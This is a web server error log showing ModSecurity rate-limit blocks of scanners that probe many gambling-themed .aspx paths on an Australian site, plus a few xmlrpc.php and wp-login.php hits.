[Wed Mar 11 09:56:06.387413 2026] [:error] [pid 54045:tid 54060] [client 54.37.86.223:40628] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abDLtiRcKzQ1f-N8TgQBFgAAAM0"]
2026/03/11 09:56:06 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /joker%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/joker%20vip.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:56:08.001010 2026] [:error] [pid 54045:tid 54059] [client 54.37.86.223:40642] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abDLtyRcKzQ1f-N8TgQBGgAAAMw"]
2026/03/11 09:56:08 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /kingkong%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/kingkong%20joker.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:56:09.610171 2026] [:error] [pid 53954:tid 53996] [client 54.37.86.223:40660] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abDLubbD1J_Nhe6jce1qiwAAAEo"]
2026/03/11 09:56:09 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /lava%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/lava%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:56:11.230362 2026] [:error] [pid 53954:tid 53995] [client 54.37.86.223:40672] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abDLu7bD1J_Nhe6jce1qjQAAAEk"]
2026/03/11 09:56:11 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /mega%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/mega%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:56:12.825986 2026] [:error] [pid 54045:tid 54070] [client 54.37.86.223:40680] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abDLvCRcKzQ1f-N8TgQBIAAAANc"]
2026/03/11 09:56:12 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /metal%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/metal%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 10:15:57.807656 2026] [:error] [pid 53955:tid 54041] [client 74.7.228.139:53464] [client 74.7.228.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abDQXdP1Uf6qBkbxZg98wgAAAJY"], referer: https://vetstars.com.au/
[Wed Mar 11 10:50:55.279630 2026] [:error] [pid 53955:tid 54040] [client 143.44.165.253:50020] [client 143.44.165.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abDYj9P1Uf6qBkbxZg-HFQAAAJU"], referer: https://vetstars.com.au/wp-admin/admin.php?page=wpforms-tools&view=export&form=1862
2026/03/11 15:40:39 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20osaka.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20osaka.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:39.774267 2026] [:error] [pid 53955:tid 54043] [client 88.88.133.210:50376] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abEcd9P1Uf6qBkbxZg_P_QAAAJg"]
2026/03/11 15:40:41 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20plus.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20plus.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:41.386464 2026] [:error] [pid 53954:tid 54002] [client 88.88.133.210:50414] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abEcebbD1J_Nhe6jce2KCAAAAFA"]
[Wed Mar 11 15:40:42.988759 2026] [:error] [pid 23512:tid 23520] [client 88.88.133.210:50452] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abEceqeuPtNfm7KRzWXM-QAAAUU"]
2026/03/11 15:40:42 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20slot%20789.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20789.aspx", host: "vetstars.com.au"
2026/03/11 15:40:44 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20slot%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20auto%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:44.720537 2026] [:error] [pid 53955:tid 54043] [client 88.88.133.210:50504] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abEcfNP1Uf6qBkbxZg_QCwAAAJg"]
2026/03/11 15:40:46 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20game.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:46.483384 2026] [:error] [pid 54045:tid 54067] [client 88.88.133.210:50544] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abEcfiRcKzQ1f-N8TgROggAAANQ"]
2026/03/11 15:40:48 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20slot%20vegas.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vegas.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:48.229874 2026] [:error] [pid 53953:tid 53961] [client 88.88.133.210:50582] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abEcgHiDUTQy-Lyy4w2fQAAAAAQ"]
2026/03/11 15:40:49 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20slot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vip.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:49.822704 2026] [:error] [pid 54045:tid 54068] [client 88.88.133.210:50612] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abEcgSRcKzQ1f-N8TgROiQAAANU"]
[Wed Mar 11 15:40:51.543265 2026] [:error] [pid 54045:tid 54062] [client 88.88.133.210:50638] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abEcgyRcKzQ1f-N8TgROjgAAAM8"]
2026/03/11 15:40:51 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20wallet.aspx", host: "vetstars.com.au"
2026/03/11 15:40:53 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20th.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:53.135951 2026] [:error] [pid 54045:tid 54069] [client 88.88.133.210:50672] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abEchSRcKzQ1f-N8TgROlAAAANY"]
2026/03/11 15:40:54 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20thailand.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:54.726858 2026] [:error] [pid 23482:tid 23500] [client 88.88.133.210:50708] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abEchsrYaTAnN_mLXyms9gAAAQ8"]
2026/03/11 15:40:56 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pg%20world.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20world.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:56.449092 2026] [:error] [pid 53955:tid 54024] [client 88.88.133.210:50972] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abEciNP1Uf6qBkbxZg_QPgAAAIU"]
2026/03/11 15:40:58 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pgslot%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgslot%20login.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:40:58.168597 2026] [:error] [pid 23482:tid 23489] [client 88.88.133.210:51008] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abEcisrYaTAnN_mLXymtFQAAAQQ"]
[Wed Mar 11 15:40:59.737782 2026] [:error] [pid 54045:tid 54056] [client 88.88.133.210:51042] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abEciyRcKzQ1f-N8TgROpwAAAMk"]
2026/03/11 15:40:59 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /pp%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pp%20slot.aspx", host: "vetstars.com.au"
2026/03/11 15:41:01 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /riches777%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches777%20pg.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:01.448354 2026] [:error] [pid 53954:tid 53994] [client 88.88.133.210:51076] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abEcjbbD1J_Nhe6jce2KEAAAAEg"]
2026/03/11 15:41:03 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /riches888%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches888%20pg.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:03.072634 2026] [:error] [pid 53955:tid 54036] [client 88.88.133.210:51088] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abEcj9P1Uf6qBkbxZg_QSAAAAJE"]
[Wed Mar 11 15:41:04.807893 2026] [:error] [pid 54045:tid 54060] [client 88.88.133.210:51110] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abEckCRcKzQ1f-N8TgROqgAAAM0"]
2026/03/11 15:41:04 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /royal%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/royal%20slot.aspx", host: "vetstars.com.au"
2026/03/11 15:41:06 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /sbobet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sbobet%20auto.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:06.380743 2026] [:error] [pid 53955:tid 54029] [client 88.88.133.210:51140] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abEcktP1Uf6qBkbxZg_QTAAAAIo"]
[Wed Mar 11 15:41:08.136644 2026] [:error] [pid 45143:tid 45169] [client 88.88.133.210:51170] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abEclCEXSpYdWImkpzazxAAAAZg"]
2026/03/11 15:41:08 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20777.aspx", host: "vetstars.com.au"
2026/03/11 15:41:09 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20888.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20888.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:09.703764 2026] [:error] [pid 23482:tid 23502] [client 88.88.133.210:51208] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abEclcrYaTAnN_mLXymtMgAAARE"]
2026/03/11 15:41:11 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20auto.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:11.462086 2026] [:error] [pid 23482:tid 23500] [client 88.88.133.210:51250] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abEcl8rYaTAnN_mLXymtOgAAAQ8"]
2026/03/11 15:41:13 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20demo.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20demo.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:13.020354 2026] [:error] [pid 23482:tid 23503] [client 88.88.133.210:51278] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abEcmcrYaTAnN_mLXymtPgAAARI"]
2026/03/11 15:41:14 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20online.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20online.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:14.745852 2026] [:error] [pid 23482:tid 23509] [client 88.88.133.210:51294] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abEcmsrYaTAnN_mLXymtQgAAARg"]
2026/03/11 15:41:16 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20soft.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:16.492425 2026] [:error] [pid 53955:tid 54038] [client 88.88.133.210:51330] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abEcnNP1Uf6qBkbxZg_QWAAAAJM"]
[Wed Mar 11 15:41:18.261933 2026] [:error] [pid 23512:tid 23526] [client 88.88.133.210:51354] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abEcnqeuPtNfm7KRzWXNIAAAAUs"]
2026/03/11 15:41:18 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20pg%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20vip.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:19.999720 2026] [:error] [pid 53954:tid 54000] [client 88.88.133.210:51404] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abEcn7bD1J_Nhe6jce2KFgAAAE4"]
2026/03/11 15:41:19 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20wallet.aspx", host: "vetstars.com.au"
2026/03/11 15:41:21 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20super%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20super%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:21.577440 2026] [:error] [pid 23482:tid 23487] [client 88.88.133.210:51434] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abEcocrYaTAnN_mLXymtYwAAAQI"]
[Wed Mar 11 15:41:23.298344 2026] [:error] [pid 23482:tid 23503] [client 88.88.133.210:51450] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abEco8rYaTAnN_mLXymtZwAAARI"]
2026/03/11 15:41:23 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20wallet%20777%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20777%20auto.aspx", host: "vetstars.com.au"
2026/03/11 15:41:24 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /slot%20wallet%20iwallet%20link%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20iwallet%20link%20login.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:24.915575 2026] [:error] [pid 53955:tid 54032] [client 88.88.133.210:51472] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abEcpNP1Uf6qBkbxZg_QZQAAAI0"]
[Wed Mar 11 15:41:26.630447 2026] [:error] [pid 23482:tid 23502] [client 88.88.133.210:51550] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abEcpsrYaTAnN_mLXymthAAAARE"]
2026/03/11 15:41:26 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /spx%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spx%20slot.aspx", host: "vetstars.com.au"
2026/03/11 15:41:28 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /super%20pg%201688.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20pg%201688.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:28.224682 2026] [:error] [pid 45143:tid 45145] [client 88.88.133.210:51726] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abEcqCEXSpYdWImkpzaz8QAAAYA"]
